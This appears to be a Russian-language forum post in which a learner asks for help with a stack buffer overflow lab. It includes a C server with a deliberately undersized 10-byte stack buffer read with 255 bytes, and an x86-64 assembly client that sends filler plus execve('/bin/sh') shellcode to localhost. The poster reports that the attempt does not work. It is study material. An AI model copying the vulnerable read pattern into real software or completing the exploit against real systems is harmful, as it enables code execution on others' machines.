Помогите с переполнением буфера

Discussion in 'Песочница' started by xverizex, 5 Jun 2020.

  1. xverizex

    xverizex New Member

    Joined:
    3 Jul 2017
    Messages:
    7
    Likes Received:
    0
    Reputations:
    2
    хочу понять как это работает и кое что не получается. я написал простенький сервер со стековым буфером, который равен 10 байт.
    Code:
    #include <stdio.h>
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <arpa/inet.h>
    #include <string.h>
    #include <unistd.h>
    
    static void read_data ( const int client ) {
        char buf[10];
        read ( client, buf, 255 );
        printf ( "%s\n", buf );
    }
    
    int main ( ) {
        int sock = socket ( AF_INET, SOCK_STREAM, 0 );
        if ( sock == -1 ) perror ( "socket" );
    
        int ret;
        int val = 1;
        ret = setsockopt ( sock, SOL_SOCKET, SO_REUSEPORT, &val, sizeof ( val ) );
        if ( ret == -1 ) perror ( "setsockopt" );
    
        struct sockaddr_in s;
        memset ( &s, 0, sizeof s );
        s.sin_family = AF_INET;
        s.sin_port = htons ( 8020 );
        inet_aton ( "127.0.0.1", &s.sin_addr );
    
        ret = bind ( sock, ( const struct sockaddr * ) &s, sizeof s );
        if ( ret == -1 ) perror ( "bind" );
    
        listen ( sock, 0 );
    
        socklen_t size = sizeof ( struct sockaddr_in );
        while ( 1 ) {
            printf ( "ожидание нового сообщения\n" );
            struct sockaddr_in sc;
            int client = accept ( sock, ( struct sockaddr * ) &sc, &size );
            printf ( "подключился новый клиент\n" );
            read_data ( client );
        }
    }
    
    эта программа на сервере запускается. а вот я написал программу, которая запускается на клиенте.
    Code:
    ;DEFAULT REL
    global main
    extern printf
    extern inet_aton
    extern perror
    extern connect
    extern calloc
    
    section .text
    
    shellcode:
        mov rax, 59
        mov rdi, [path]
        mov rsi, 0
        mov rdx, 0
        syscall
    exploit:
        push rbp
        mov rbp, rsp
        sub rsp, 8
        mov esi, 1
        add rdi, [size_of_shellcode]
        push rdi
        call calloc
        mov [rbp + 0], rax
        pop rdi
        mov ecx, edi
        xor rbx, rbx
        mov ebx, ecx
        mov rdi, [rbp + 0]
        xor rax, rax
        mov al, '0'
    d1:
    .loop_fill:
        stosb
        inc al
        dec ecx
        cmp ecx, 0
        jg .loop_fill
        lea rsi, [shellcode]
        mov rcx, [size_of_shellcode]
        rep movsb
    
        mov rax, 1
        mov rdi, [sock]
        lea rsi, [rbp + 0]
        mov rdx, [size_of_shellcode]
        syscall
    ;--- цикл чтения и записи ----
    forever:
        mov rdx, 255
        lea rsi, [buf_read]
        mov rdi, [sock]
        mov rax, 0
        syscall
        mov rdx, rax
        lea rsi, [buf_read]
        mov rdi, 1
        mov rax, 1
        syscall
        jmp forever
        leave
        ret
    main:
    ;------ получаем сокет -------
        push rbp
        mov rbp, rsp
        sub rsp, 16
        xor rsi, rsi
        xor rdi, rdi
        xor rdx, rdx
        mov rdx, 0
        mov si, [SOCK_STREAM]
        mov di, [PF_INET]
        mov rax, 41
        syscall
        mov [sock], eax
        cmp rax, 0
        jg continue_socket
        xor rax, rax
        lea rdi, [cant_socket]
        syscall
        jmp exit
    ;---- заполнить структуру ----
    continue_socket:
        xor rax, rax
        mov ax, [PF_INET]
        mov [s + sockaddr_in.family], ax
        mov ax, [server_port]
        xchg al, ah
        mov [s + sockaddr_in.port], ax
        xor rax, rax
        lea rdi, [host]
        xor rsi, rsi
        lea esi, [s + sockaddr_in.s_addr]
        call inet_aton
        cmp rax, 0
        jg continue_fill
        lea rdi, [cant_fill]
        call perror
        jmp exit
    ;------- подключение --------
    continue_fill:
        xor rax, rax
        mov [s + sockaddr_in.data], rax
        xor rsi, rsi
        xor rdi, rdi
        xor rdx, rdx
        mov edx, [sizeof_s]
        lea rsi, [s]
        mov edi, [sock]
        xor rax, rax
        call connect
        cmp rax, 0
        je continue_connect
        lea rdi, [cant_connect]
        call perror
        jmp exit
    continue_connect:
    ;---- написать сообщение ----
        xor rax, rax
        mov rdi, 10 ;<-- сюда вводит размер буфера. после буфера будет шеллкод
        call exploit
    ;---- выход из программы ----
    exit:
        mov rax, 60
        syscall
        leave
        ret
    
    
    section .bss
    buf_send      resb 255
    buf_read      resb 255
    
    section .rodata
    cant_socket   db    'Не удалось получить сокет', 0xa, 0x0
    cant_fill     db    'Не удалось преобразовать ip', 0x0
    cant_connect  db    'Невозможно подключиться', 0x0
    
    
    section .data
    struc sockaddr_in
        .family  resw  1
        .port    resw  1
        .s_addr  resd  1
        .data    resb  8
    endstruc
    
    host          db    '127.0.0.1', 0x0
    path          dq    '/bin/sh'
    size          dd    $ - path
    sock          dd    0
    server_port   dw    8020
    
    PF_INET       dw    2
    SOCK_STREAM   dw    1
    
    size_of_shellcode dq exploit - shellcode + 1
    sizeof_s      dd    16
    
    s             istruc sockaddr_in 
            at sockaddr_in.family,  dw 0
            at sockaddr_in.port,    dw 0
            at sockaddr_in.s_addr,  dd 0
            at sockaddr_in.data,    db 0
              iend
    
    и компиляция.
    Code:
    all:
        nasm -f elf64 bf.asm -o bf.o
        gcc -no-pie bf.o -o test
    #    ld -b elf64-x86-64 bf.o inet.o -lc -o test
    
    я останавливаю в gdb на позицию в сервере в функции read_data на printf. но когда происходит переполнение, то выбрасывает в функцию raise. я же правильно понимаю, что я стек перезаписываю? тогда мне нужно как то выйти из этого места, но стек же вроде не исполняемый. в общем помогите.